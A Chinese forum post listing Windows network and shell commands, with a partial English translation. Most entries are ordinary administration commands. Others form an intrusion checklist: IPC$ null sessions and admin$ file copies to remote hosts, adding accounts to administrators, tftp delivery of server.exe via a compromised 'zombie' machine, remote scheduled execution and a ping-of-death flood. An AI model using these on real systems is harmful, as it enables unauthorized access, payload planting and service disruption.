『楼 主』:
不错的网络命令
使用 LLM 解释/回答一下
net网络命令:
net use ip ipc$ " " /user:" " ——建立IPC空链接
net use ip ipc$ "密码" /user:"用户名"—— 建立IPC非空链接
net use h: ipc$ "密码" /user:"用户名" ——直接登陆后映射对方C:到本地为H:
net use h: ipc$ ——登陆后映射对方C:到本地为H:
net use ipipc$ /del—— 删除IPC链接
net use h: /del ——删除映射对方到本地的为H:的映射
net user 用户名 密码 /add—— 建立用户
net user guest /active:yes ——激活guest用户
net user ——查看有哪些用户
net user 帐户名—— 查看帐户的属性
net localgroup administrators 用户名 /add ——把“用户”添加到管理员中使其具有管理员权限,注意:administrator后加s用复数
net start ——查看开启了哪些服务
net start 服务名 ——开启服务;(如:net start telnet, net start schedule)
net stop 服务名 ——停止某服务
net time 目标ip—— 查看对方时间
net time 目标ip /set ——设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息
net view—— 查看本地局域网内开启了哪些共享
net view ip ——查看对方局域网内开启了哪些共享
net config ——显示系统网络设置
net logoff ——断开连接的共享
net pause 服务名—— 暂停某服务
net send ip "文本信息"—— 向对方发信息
net ver—— 局域网内正在使用的网络连接类型和信息
net share ——查看本地开启的共享
net share ipc$ ——开启ipc$共享
net share ipc$ /del—— 删除ipc$共享
net user guest 12345—— 用guest用户登陆后用将密码改为12345
net password 密码 ——更改系统登陆密码
netstat网络命令
netstat -a ——查看开启了哪些端口,常用netstat -an
netstat -n—— 查看端口的网络连接情况,常用netstat -an
netstat -v ——查看正在进行的工作
netstat -p ——协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况)
netstat -s ——查看正在使用的所有协议使用情况
其他网络命令:
tracert -参数 ip(或计算机名) ——跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。
ping ip(或域名) ——向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。
ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
ipconfig (winipcfg)—— 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息
tlist -t ——以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
kill -F 进程名—— 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
del -F 文件名 ——加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件
del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)
move—— 盘符路径要移动的文件名 存放移动文件的路径移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
fc one.txt two.txt > 3st.txt—— 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令
at id号 开启已注册的某个计划任务
at /delete ——停止所有计划任务,用参数/yes则不需要确认就直接停止
at id号 /delete ——停止某个已注册的计划任务
at ——查看所有的计划任务
at ip time 程序名(或一个命令) /r ——在某时间运行对方某程序并重新启动计算机
finger username @host—— 查看最近有哪些用户登陆
telnet ip 端口 ——远和登陆服务器,默认端口为23 ;telnet 在本机上直接键入telnet 将进入本机的telnet
open ip—— 连接到IP(属telnet登陆后的命令)
copy 路径文件名1 路径文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件
copy c:srv.exe ipadmin$—— 复制本地c:srv.exe到对方的admin下
cppy 1st.jpg/b+2st.txt/a 3st.jpg ——将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件
copy ipadmin$svv.exe c: 或:copyipadmin$*.*—— 复制对方admini$共享下的srv.exe文件(所有文件)至本地C:
xcopy 要复制的文件或目录树 目标地址目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件
tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:server.exe 登陆后,将“IP”的server.exe下载到目标主机c:server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送
tftp -i 对方IP put c:server.exe 登陆后,上传本地c:server.exe至主机
ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)
route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface
arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息
mem ——查看cpu使用情况
attrib 文件名(目录名)—— 查看某文件(目录)的属性
attrib 文件名 -A -R -S -H 或 +A +R +S +H—— 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性
dir ——查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间
date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间
find 文件名 ——查找某文件
format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
md ——目录名 创建目录
replace 源文件 要替换文件的目录 替换文件
ren ——原文件名 新文件名 重命名文件名
tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称
type 文件名 显示文本文件的内容
more 文件名 逐屏显示输出文件
doskey 要锁定的命令=字符xy2|><|
doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=
taskmgr 调出任务管理器
exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe
path 路径可执行文件的文件名 为可执行文件设置一个路径。
cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /?
regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示;
regedit /e 注册表文件名 导出注册表
REM 文本内容 在批处理文件中添加注解
netsh 查看或更改本地网络配置情况
IIS服务命令:
iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现)
iisreset /start或stop 启动(停止)所有Internet服务
iisreset /restart 停止然后重新启动所有Internet服务
iisreset /status 显示所有Internet服务状态
iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动
iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机
iisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务
iisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。
FTP 命令:
ftp的命令行格式为:
ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。
-d 使用调试方式。
-n 限制ftp的自动登录,即不使用.netrc文件。
### Net Network Commands:
- `net use ip ipc$ " " /user:" "` —— Establish an IPC empty connection
- `net use ip ipc$ "password" /user:"username"` —— Establish a non-empty IPC connection
- `net use h: ipc$ "password" /user:"username"` —— Directly log in and map the other party's C: to local as H:
- `net use h: ipc$` —— Log in and map the other party's C: to local as H:
- `net use ipipc$ /del` —— Delete IPC connection
- `net use h: /del` —— Delete the mapping of the other party to local as H:
- `net user username password /add` —— Create a user
- `net user guest /active:yes` —— Activate guest user
- `net user` —— View which users there are
- `net user account name` —— View account properties
- `net localgroup administrators username /add` —— Add "user" to administrators to make it have administrator privileges, note: add s in plural after administrator
- `net start` —— View which services are started
- `net start service name` —— Start a service; (e.g.: `net start telnet`, `net start schedule`)
- `net stop service name` —— Stop a certain service
- `net time target ip` —— View the other party's time
- `net time target ip /set` —— Synchronize the local computer time with the time of the "target IP" host, add parameter /yes to cancel the confirmation message
- `net view` —— View which shares are enabled in the local LAN
- `net view ip` —— View which shares are enabled in the other party's LAN
- `net config` —— Display system network settings
- `net logoff` —— Disconnect the shared connection
- `net pause service name` —— Pause a certain service
- `net send ip "text information"` —— Send information to the other party
- `net ver` —— Network connection type and information being used in the LAN
- `net share` —— View the shares enabled locally
- `net share ipc$` —— Enable ipc$ share
- `net share ipc$ /del` —— Delete ipc$ share
- `net user guest 12345` —— After logging in with guest user, change the password to 12345
- `net password password` —— Change the system login password
### Netstat Network Commands:
- `netstat -a` —— View which ports are started, commonly used `netstat -an`
- `netstat -n` —— View the network connection situation of ports, commonly used `netstat -an`
- `netstat -v` —— View the work being carried out
- `netstat -p` —— Protocol name, e.g.: `netstat -p tcq/ip` View the usage of a certain protocol (view the usage of tcp/ip protocol)
- `netstat -s` —— View the usage of all protocols being used
### Other Network Commands:
- `tracert -parameter ip(or computer name)` —— Trace the route (data packet), parameter: "-w number" is used to set the timeout interval.
- `ping ip(or domain name)` —— Send data with a default size of 32 bytes to the other party's host, parameters: "-lpacket size"; "-n number of sends"; "-t" means keep pinging.
- `ping -t -l 65550 ip` —— Death ping (sending a file larger than 64K and keeping pinging becomes death ping)
- `ipconfig (winipcfg)` —— For windows NT and XP (windows 95 98) to view the local IP address, ipconfig can use parameter "/all" to display all configuration information
- `tlist -t` —— Display processes in a tree list (an additional tool for the system, not installed by default, in the Support/tools folder of the installation directory)
- `kill -F process name` —— Forcefully end a certain process with the -F parameter (an additional tool for the system, not installed by default, in the Support/tools folder of the installation directory)
- `del -F file name` —— Delete a read-only file with the -F parameter, /AR, /AH, /AS, /AA respectively mean delete read-only, hidden, system, archive files, /A-R, /A-H, /A-S, /A-A mean delete files other than read-only, hidden, system, archive. For example, "DEL/AR *.*" means delete all read-only files in the current directory, "DEL/A-S *.*" means delete all files in the current directory except system files
- `del /S /Q directory` or use: `rmdir /s /Q directory` /S deletes the directory and all subdirectories and files under the directory. At the same time, using parameter /Q can cancel the system confirmation during the deletion operation and directly delete. (The two commands have the same function)
- `move` —— Drive letter path file name to be moved, path to store the moved file, new file name after moving, move the file, use parameter /y to cancel the prompt to confirm the existence of the same file in the moving directory and directly overwrite
- `fc one.txt two.txt > 3st.txt` —— Compare the two files and output the different parts to the 3st.txt file, "> " and "> >" are redirect commands
- `at id number` —— Start a registered scheduled task
- `at /delete` —— Stop all scheduled tasks, use parameter /yes to directly stop without confirmation
- `at id number /delete` —— Stop a registered scheduled task
- `at` —— View all scheduled tasks
- `at ip time program name(or a command) /r` —— Run a certain program of the other party at a certain time and restart the computer
- `finger username @host` —— View which users have logged in recently
- `telnet ip port` —— Remotely log in to the server, the default port is 23; typing telnet on this computer directly will enter the telnet of this computer
- `open ip` —— Connect to IP (a command after telnet login)
- `copy path file name 1 path file name 2 /y` —— Copy file 1 to the specified directory as file 2, use parameter /y to cancel confirming that you want to rewrite an existing directory file at the same time
- `copy c:srv.exe ipadmin$` —— Copy local c:srv.exe to the other party's admin
- `cppy 1st.jpg/b+2st.txt/a 3st.jpg` —— Hide the content of 2st.txt in 1st.jpg to generate a new file 3st.jpg, note: the file header of 2st.txt should be empty for three rows, parameters: /b means binary file, /a means ASCLL format file
- `copy ipadmin$svv.exe c:` or `:copyipadmin$*.*` —— Copy the srv.exe file (all files) under the other party's admini$ share to local C:
- `xcopy file or directory tree to be copied target address directory name` —— Copy files and directory trees, use parameter /Y to not prompt to overwrite the same file
- `tftp -i own IP(use the meat machine as a跳板, this uses the meat machine IP) get server.exe c:server.exe` —— After logging in, download "IP"'s server.exe to the target host c:server.exe Parameter: -i means transfer in binary mode, use when transferring exe files, if not adding -i, transfer in ASCII mode (text file mode)
- `tftp -i other party's IP put c:server.exe` —— After logging in, upload local c:server.exe to the host
- `ftp ip port` —— Used to upload files to the server or perform file operations, the default port is 21. bin means transfer in binary mode (for executable files); default is transfer in ASCII format (for text files)
- `route print` —— Display IP routes, will mainly display network address Network addres, subnet mask Netmask, gateway address Gateway addres, interface address Interface
- `arp` —— View and process ARP cache, ARP is the meaning of name resolution, responsible for resolving an IP into a physical MAC address. `arp -a` will display all information
- `mem` —— View CPU usage
- `attrib file name(directory name)` —— View the attributes of a certain file (directory)
- `attrib file name -A -R -S -H or +A +R +S +H` —— Remove (add) the archive, read-only, system, hidden attributes of a certain file; use + to add a certain attribute
- `dir` —— View files, parameters: /Q display which user the file and directory belong to the system, /T:C display file creation time, /T:A display file last access time, /T:W last modified time
- `date /t 、 time /t` —— Use this parameter, that is, "DATE/T", "TIME/T" will only display the current date and time, without having to enter a new date and time
- `find file name` —— Find a certain file
- `format drive letter /FS:type` —— Format the disk, type: FAT, FAT32, NTFS, e.g.: `Format D: /FS:NTFS`
- `md` —— Directory name Create directory
- `replace source file directory to replace the file` —— Replace file
- `ren` —— Original file name new file name Rename file name
- `tree` —— Display directories in a tree structure, use parameter -f to list the file names in each folder
- `type file name` —— Display the content of the text file
- `more file name` —— Display the output file screen by screen
- `doskey command to be locked = character xy2|><|`
- `doskey command to be unlocked =` —— Lock command provided by DOS (edit command line, re-call win2k command, and create macro). For example: lock dir command: `doskey dir=entsky` (cannot use `doskey dir=dir`); unlock: `doskey dir=`
- `taskmgr` —— Bring up the task manager
- `exit` —— Exit the cmd.exe program or currently, use parameter /B to exit the current batch script instead of cmd.exe
- `path path executable file name` —— Set a path for the executable file.
- `cmd` —— Start a win2K command interpretation window. Parameters: /eff, /en close, enable command extension; for more detailed instructions, see `cmd /?`
- `regedit /s registry file name` —— Import registry; parameter /S means import in quiet mode, without any prompts;
- `regedit /e registry file name` —— Export registry
- `REM text content` —— Add comments in the batch file
- `netsh` —— View or change local network configuration
### IIS Service Commands:
- `iisreset /reboot` —— Restart win2k computer (but there will be a prompt that the system will restart)
- `iisreset /start or stop` —— Start (stop) all Internet services
- `iisreset /restart` —— Stop then restart all Internet services
- `iisreset /status` —— Display all Internet service status
- `iisreset /enable or disable` —— Enable (disable) the restart of Internet services on the local system
- `iisreset /rebootonerror` —— When starting, stopping or restarting Internet services, if an error occurs, the computer will restart
- `iisreset /noforce` —— If the Internet service cannot be stopped, the Internet service will not be forcibly terminated
- `iisreset /timeout Val` —— When the timeout (seconds) is reached, the Internet service is still not stopped, if the /rebootonerror parameter is specified, the computer will restart. The default value is restart 20 seconds, stop 60 seconds, restart 0 seconds.
### FTP Commands:
The command line format of ftp is:
`ftp -v -d -i -n -g` -v display all response information of the remote server.
-d use debugging mode.
-n restrict automatic login of ftp, that is, do not use the.netrc file.
|